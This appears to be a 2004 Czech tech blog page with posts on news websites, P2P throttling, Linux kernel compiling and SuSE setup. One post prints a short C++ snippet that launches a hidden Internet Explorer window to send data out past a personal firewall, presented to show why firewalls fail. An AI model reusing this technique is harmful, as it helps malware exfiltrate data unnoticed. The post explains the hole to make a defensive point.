MyEgo.cz - Radek Hulán webzine

MyEgo.cz

home foto blogy mywindows.cz kontakt

idnes.cz / novinky.cz, mobil.cz / mobilmania.cz

Novinky.cz

Když jsem v roce 1998 chtěl vědět něco o mobilech, podíval jsem se automaticky na www.mobil.cz, a to zvláště na články Patricka Zandla. Místo abych si kupoval noviny, četl jsem idnes.cz. Když se na ty weby podívám dnes, mám pocit, že se na nich, bohužel, nic nezměnilo. Stále stejná, kdysi sice dobrá, ale dnes velice zastaralá struktura webu, pomalé načítání, zmatená a nepřehledná navigace… Není tu žádný vývoj. Dinosauři se nemění.

Když vznikla www.mobilmania.cz, působila oproti zavedenému mobil.cz značně amatérsky. Marek Lutonský, a další lidé, ovšem od té doby dostali tento server na úroveň lepší, než je mobil.cz. Dnešní mobilmania.cz je tak mnohem rychlejší než mobil.cz na načítání, její recenze jsou obsažnější, bleskovky jsou bleskovější, navigace po webu je jednodušší, rozsah služeb je větší. Na mobil.cz se vlastně dívám již jen z nostalgie, popřípadě, pokud chci něco kupovat a hledám veškeré dostupné informace.

Stejné je to i se zpravodajstvím. Kdysi nepokořená, první a vedoucí online forma deníku DNES, tedy idnes.cz, má dnes štíhlejšího, rychlejšího, a mnohem kvalitnějšího soupeře v www.novinky.cz. Ano, novinky.cz jsou redakce deníku (Rudé) Právo, noviny, které bych si nikdy, ze zásady, nekoupil, nicméně, jejich online verze nabízí ty samé zprávy z ČTK a Reuters, co idnes.cz, ale přehledněji, rychleji, a v lepším balení.

Dinosauři, co “zakládali český internet”, svoji roli, jak už to tak často bývá, nezvládli, ustrnuli ve vývoji, a nahradila je mladší, progresivnější, generace.

I když i v roce 2004 bych se styděl koupit si na stánku (Rudé) Právo, www.novinky.cz čtu, vedle zpráv nytimes.com, a to zcela běžně… ;-)

Vaše firewall je s velkou pravděpodobností k ničemu…

Bezpečnost 18.09.2004

Narazil jsem dnes na takový pěkný malý prográmek, má 3 KB z webu tooleaky.zensoft.com, který krásně ukazuje, proč je Vaše firewall zcela k ničemu. Již dávno jsem psal o tom, že nejen antivirus je k ničemu, ale, že k ničemu je i samotná firewall, pokud není provázána se SandBoxem.

Zkuste si ten prográmek schválně stáhnout a spustit. Stažení i spuštění zabere 10 sekund. Pokud se Vám ukáže “success”, máte problém. Ten prográmek totiž využívá léta známé chyby řady Windows firewallů, a totiž, autorizace přístupu MSIE na internet (nutné třeba pro online Windows Update), a následné zneužití MSIE jinými programy. Stačí na to pár řádků kódu v C++:

bool TransmitAndReceiveData ( ) {
 // Step 1: Find the MSIE
 char buffer[MAX_PATH + 512];
 long len = sizeof(buffer);
 RegQueryValueA(
 HKEY_LOCAL_MACHINE,
 "SOFTWARE\\Classes\\Applications"+
 "\\iexplore.exe\\shell\\open\\command",
 buffer,
 &len);
 // Step 2: spawn IE in a hidden window
 for ( char*c = &buffer[1]; *c != 0; c++ )
   if ( *c == '%' ) *c = 0;
 z_strcat(buffer, baseURL);
 z_strcat(buffer, outputString);
 WinExec(buffer, SW_HIDE);
 // Step 3: wait for the page to load
 int startCount = GetTickCount();
 do {
   EnumWindows(EnumWindowsProc, 0);
   if ( (GetTickCount() - startCount) > 30000 )
     return false;
 } while ( ieWnd == NULL );
 // Step 4: close the window
 SendMessage(ieWnd, WM_SYSCOMMAND, SC_CLOSE, 0);
 return true;
}

Takto jednoduše může libovolný virus zavolat MSIE, které je autorizováno přistupovat k internetu, a potom libovolně zasílat, co se mu zlíbí. Pěkné, ne? Pokud jste aspoň jednou navštívili s MSIE nějakou warez či porno stránku, spustili si P2P klienta, nebo nějaký “keygen”, jen tak stažený z webu, je docela dost dobře možné, že na počítači máte škůdce. A to škůdce, kterého Vaše firewall nikdy neodhalí, a nezachytí jej ani antivirus či spyware (ty se skutečně nesoustředí na nákazy získané z warez a porno odkazů)…

Microsoftí firewall toto vůbec neumí, Tiny Personal Firewall, mnou preferovaná, to umí, ZoneAlarm Pro to sice umí, ale má to defaultně vypnuté i ve verzi 5.1.

Eurotel versus český xindl

Technologie 18.09.2004

V posledních dvou dnech je na českých mobil(mania) fórech hodně slyšet zástupce českého xindlu. Český xindl si myslí, že:

hnědka: stahnout 5.2 GB na GPRS? to je tak 12 dni v kuse, slusny na CDMA bys za 12 dní, pokud jsi z nevytizene lokality, stahnul treba i 100 GB nebo klidne i o polovinu víc, osobne jsem natahal za srpen asi 40 GB dokud nedoslo misto na disku :-)

anebo další sosač, takový malý krypto-komunista, který ospravedlňuje krádež tím, že má malý plat, a tudíž on má právo krást:

majki: az stat zavede takovou cenovou politiku, ktera bude umerna platum, potom at si tady kazdy zakazuje P2P, jak se mu zlibi. Az si tady normalni clovek (prum. cisty plat 13000) vydela (priklad) na original Windows za dva dny prace, pak at se ohaneji papalasove warezem a nelegalnim softwarem. Sami neumeji prizpusobit prostredi k tomu, aby tohle lide nedelali. Tenhel priklad se da pouzit na spousty dalsiho, jako jsou AudioCD, DVD…

Hodil by se zde malý příklad : řekněme tomu, že jste ISP pro malou komunitní síť. Každý ve vesnici Vám platí 200 Kč měsíčně. Všechno funguje dobře, komunita je spokojená, že má slušně rychlý a levný internet.

Ale najednou se Franta Xindl Sosač rozhodne, že potřebuje krást více a více a více filmů, hudby a software, a nechává své DC++ puštěné pořád, i když je pryč, spí, či je ve škole. Prostě je to pro Frantu Xindla Sosače takový novodobý fetish. Hromadit a hromadit! Ukrást, co se dá! Franta Xindl Sosač se tímto prostě realizuje…

Jak to dopadne? Paní Vomáčková odvedle, co posílá email synovi, a přes Skype si s ním volá do USA, si začne stěžovat, že jí to skoro vůbec nejede. Aby taky jelo… Dalších 10 lidí, co normálně používají internet, nesosají a nekradou, si začnou stěžovat také.

Jakou máte jako ISP možnost? Celou službu zrušit a prodělat? Nebo odříznout jednoho Frantu Xindla Sosače, a uspokojit 10 normálních zákazníků? Nebo zavést limity na přenos dat? Jenže, limity, zkuste si zavést limity, neboli F.U.P. jako má ADSL, a zjistíte, že paní Vomáčková je nemocná, a syn jí volá častěji, ale díky limitu už po pár dnech nemůže vůbec nic… Další zákazník si stáhne z FTP legálně jeden ISO obraz Linuxu, a pak už taky nemůže celý zbytek měsíce na internet. Naštvaní jsou na Vás za chvíli všichni, a vy proděláváte…

Anebo zaveďte řešení, geniální, Eurotelu. Omezte Frantu Xindla Sosače. Xindl bude naštvaný, bude řvát na celou vesnici, ale všichni ostatní budou spokojeni. A Vy budete realizovat spravedlivý zisk.

Proč je toto řešení nejlepší? Protože komunismus opravdu nefunguje.

Eurotel se brání proti sosačům

Technologie 17.09.2004
Thief

Eurotel vymyslel skvělé řešení, jak nezavádět F.U.P. (které je u ADSL), a nabídnout naopak vyšší praktickou rychlost připojení pro lidi, co s internetem pracují. Omezil P2P sítě. 100% uživatelů P2P sítí je používá jen pro krádeže hudby, filmů a software (nebo znáte jiné použití???), což mě osobně sice nebolí, nejsem producent, nicméně, to že tito sosači dokáží stáhnout denně i několik GB dat, to už poznat je, na rychlosti či pomalosti připojení mého. A tudíž se mě to osobně týká.

Nemám rád sosače a zloděje, Eurotel také ne, i když z poněkud jiného důvodu, za 890 Kč měsíčně na nich totiž velice nehezky prodělává. Nové řešení, blokace P2P služeb (jejich portů) v dobu kromě 1:00 - 9:00 ráno je mimořádně elegantní, a přínosná. Děkuji! :-)

Chcete rychlejší CDMA na Linuxu?

Linux 17.09.2004

S GTRAN USB modemem je poměrně dost problémů na Windows, hlavně s ovladači, a tento problém se nevyhnul ani Linuxu. Nicméně, zde jsou, na rozdíl od Windows, dostupné zdrojové kódy, takže se vše dá poměrně snadno řešit. Zajímavé je, že GTRAN modem na jádru 2.6.8.1 je naprosto stabilní, zatímco na Windows má problémy, nechce se připojovat a autorizovat, či často padá. Linux s CDMA tímto problémem netrpí.

Jeden problém ale existuje, tedy, spíše existoval, i na Linuxu. Modem přenášel data maximální rychlostí 256Kbps. Toto není problém jádra Linuxu, ale modemu, který reportoval chybnou velikost max_packet_size. Po jednoduché úpravě souboru cdc-acm.c, který vnutí pro Quallcom GTRAN modem jádru jiný parametr, a rekompilaci kernelu, to jede kolem 480 kbps (mě i více, ale hodně lidem ne). Celý problém byl popsán na abclinuxu.cz.

Jak tedy na rychlejší CDMA na Linuxu?

Z http://kernel.org/ si stáhněte kernel 2.6.8.1, a aplikujte na soubor cdc-acm.c jednoduchý patch Petra Písaře (nebo těch deset řádků doplňte ručně, pokud máte jinou verzi kernelu než 2.6.8.1). Potom kernel překompilujte a instalujte.

su
cd /usr/src/linux
cp arch/i386/defconfig.smp .config
make xconfig
make
make modules_install
make install

Pokud používáte grub, je to celé… V případě lilo modifikujte ručně lilo.cnf. Obrovskou výhodou rekompilace celého kernelu je to, že si jej přizpůsobíte pro svůj stroj, a optimalizujete, je tak menší, optimalizovaný pro (v mém případě) P-IV/HT, a stabilnější. Zajímavostí je, že jsem kompilaci prováděl s gcc 3.3.3 (doporučováno je gcc 2.93.x), a nebyl žádný problém.


Pokud se nechcete pouštět do kernelu, který není upraven SuSE, můžete si přes YaST stáhnout zdroj pro kernel 2.6.4, a provést ručně úpravu na něm, nicméně, s vanilla kernelem 2.6.8.1 jsem neměl žádný problém. Jak zdroj pro YaST uveďte:

ftp://ftp.sh.cvut.cz/SuSE/i386/9.1/

Kompilace a optimalizace na Linuxu

Linux 16.09.2004

Pokud kompilujete na Linuxu, jsou pro to 2 důvody:

  • protože neexistuje binárka, jakou potřebujete (což je typické pro PHP/MySQL/Apache kombinaci),
  • protože chcete kód optimalizovat (většina binárek je pro i386 - i586).

K gcc je dostupná řada parametrů, které ovlivňují kompilační a linkovací proces, osobně používám následující, tedy zapnutí podpory pro P-IV, SSE2 instrukční sady, optimalizací kódu (O2), zapnutí pipes pro kompilaci, a odstranění tabulky symbolů z binárky:

export CFLAGS="-march=pentium4 -mfpmath=sse 
               -msse2 -O2 -pipe -s
               -fomit-frame-pointer"

SuSE Linux 9.1 - jak vypadá desktop?

Linux 16.09.2004

SuSE 9.1 a KDE 3.3.0 Chci to větší!

Upozornění: zvětšenina má cca 320KB, nic pro dial-up!

SuSE Linux 9.1 a KDE verze 3.3.0

Linux 15.09.2004

Na základě komentáře Pavla jsem upgradoval KDE na verzi 3.3.0, a je to znatelný skok, oproti verzi 3.2.1. Jak na upgrade? Spusťte si YaST a v sekci “Instalační zdroj” specifikujte, k současnému (například) /dev/hdc ještě navíc server ftp.sh.cvut.cz s URL:

/SuSE/i386/supplementary/KDE/update_for_9.1/yast-source

Potom spusťte v YaSTu “Správce programů”, zvolte volbu “Package” - “All in this List” - “Update if newer versions available”, a již můžete stahovat KDE 3.3.0 (s qt_3.3.3 a arts_1.3.0). Z tohoto zdroje si můžete velice pohodlně doinstalovat i veškeré další programy, které jsou normálně jen na SuSE 9.1 Professional instalačních DVD, které se prodává za cca 2.800 Kč. Na FTP jsou ovšem tyto programy v novější edici, včetně KDevelop, Quanta, Cervisia (rozhraní pro CVS), Juk, AmaroK, Kmobiletools, a stovek dalších, vše v rpm balíčcích, pro SuSE 9.1 a KDE 3.3.0.

SuSE Linux 9.1 místo Windows XP - návod na konfiguraci

Linux 15.09.2004
SuSE Linux

SuSE 9.1 Linux Personal je jedna z nejlépe doladěných distribucí Linuxu, kterou osobně používám. V tomto rozsáhlém článku bych se chtěl věnovat jejímu použití na desktopu, a to jako kompletní náhrada Windows XP, včetně kompilace a instalace PHP 5.0 (s curl, xml2, a iconv), MySQL 4.0, Apache 2.0.50 a dalších celků pro potřeby web-designu.

SuSE 9.1 Personal silně preferuje KDE, což mi osobně vyhovuje, vyhovuje mi i YaST, který přece jenom značně usnadňuje editaci konfigurace, a od věci není ani YaST Online Update (YOU), což je jakási obdoba Windows Update.

SuSE 9.1 Linux Personal si můžete stáhnout z webu ČVUT, je to jediné CD, velikost 700 MB. Následně si tento ISO obraz vypalte na CD.

SuSE 9.1 Personal obsahuje kernel 2.6.5 a KDE 3.2.1, tedy poměrně nové jádro a Window Manager. Co je ale podstatně zajímavější, neobsahuje v základní distribuci gcc, dost dobře nechápu proč, bez gcc se nedá fungovat. Není ovšem problém je doplnit.

Osobně nejsem příznivcem distribucí s 5-10 CD, či DVD, vždy zastaralých, na počítač tak jen získáte mraky balastu, o kterém nic nevíte. To, co si ovšem nainstalujete / zkompilujete osobně, to je věc, kterou ovládáte, rozumíte jí, a umíte ji v případě potřeby změnit.

Dobrý web je navštěvovaný web!

Technologie 14.09.2004

Pohled na www.toplist.cz/weblogy/ nám jednoznačně řekne, které weby jsou kvalitní. Přestože řada autorů těch méně navštěvovaných weblogů bude neustále prohlašovat, že na návštěvnosti nesejde, opak je pravdou. Platí totiž beze zbytku tato relace:

dobrý obsah <-> vysoká návštěvnost

Proč? Čtenáři weblogů jsou víceméně čtenáři pravidelní, věrní, je to taková komunita téměř rodinně spjatá s autorem weblogu, sdílející jeho názory, popřípadě minimálně sympatizující se stylem a podáním článků tohoto autora.

A vzhledem k tomu, že například weblogů věnujících se IT a webdesignu je na českém weblogovém “trhu” celá řada, a je tedy z čeho si vybírat, stabilní čtenář se jednoznačně vrací tam, kde jej zajímá obsah. Nikoliv tedy grafika, zpracování, ale obsah. Na WELL.DONE se denně vrací cca 1.500 čtenářů, což je na české poměry velice zajímavé množství. Je to Top-3 mezi odbornými weblogy (společně s Pixy a Patrickem Zandlem).

A právě Patrick Zandl se zamýšlel nad tím, zda je vhodný přerod weblogů do webzine, kam přispívá více autorů. Oba se o něco takového pár dní pokoušíme, a pak zase couváme zpět. Ano, oba dva… Mám zájem o další autory, nicméně, bude pro ně vytvořena zvláštní sekce, kde se moje články nebudou míchat s články jiných autorů. Na weblogu je totiž nejvíce vzrušující a motivující právě to osobní spojení se čtenáři, a to by více autorů zničilo.


PS: Osobně mi o návštěvnost nejde. Proč? Protože tento web navštěvovaný je :-) Kdyby navštěvovaný nebyl, to bych se hned zajímal, proč a co dělám špatně ;-)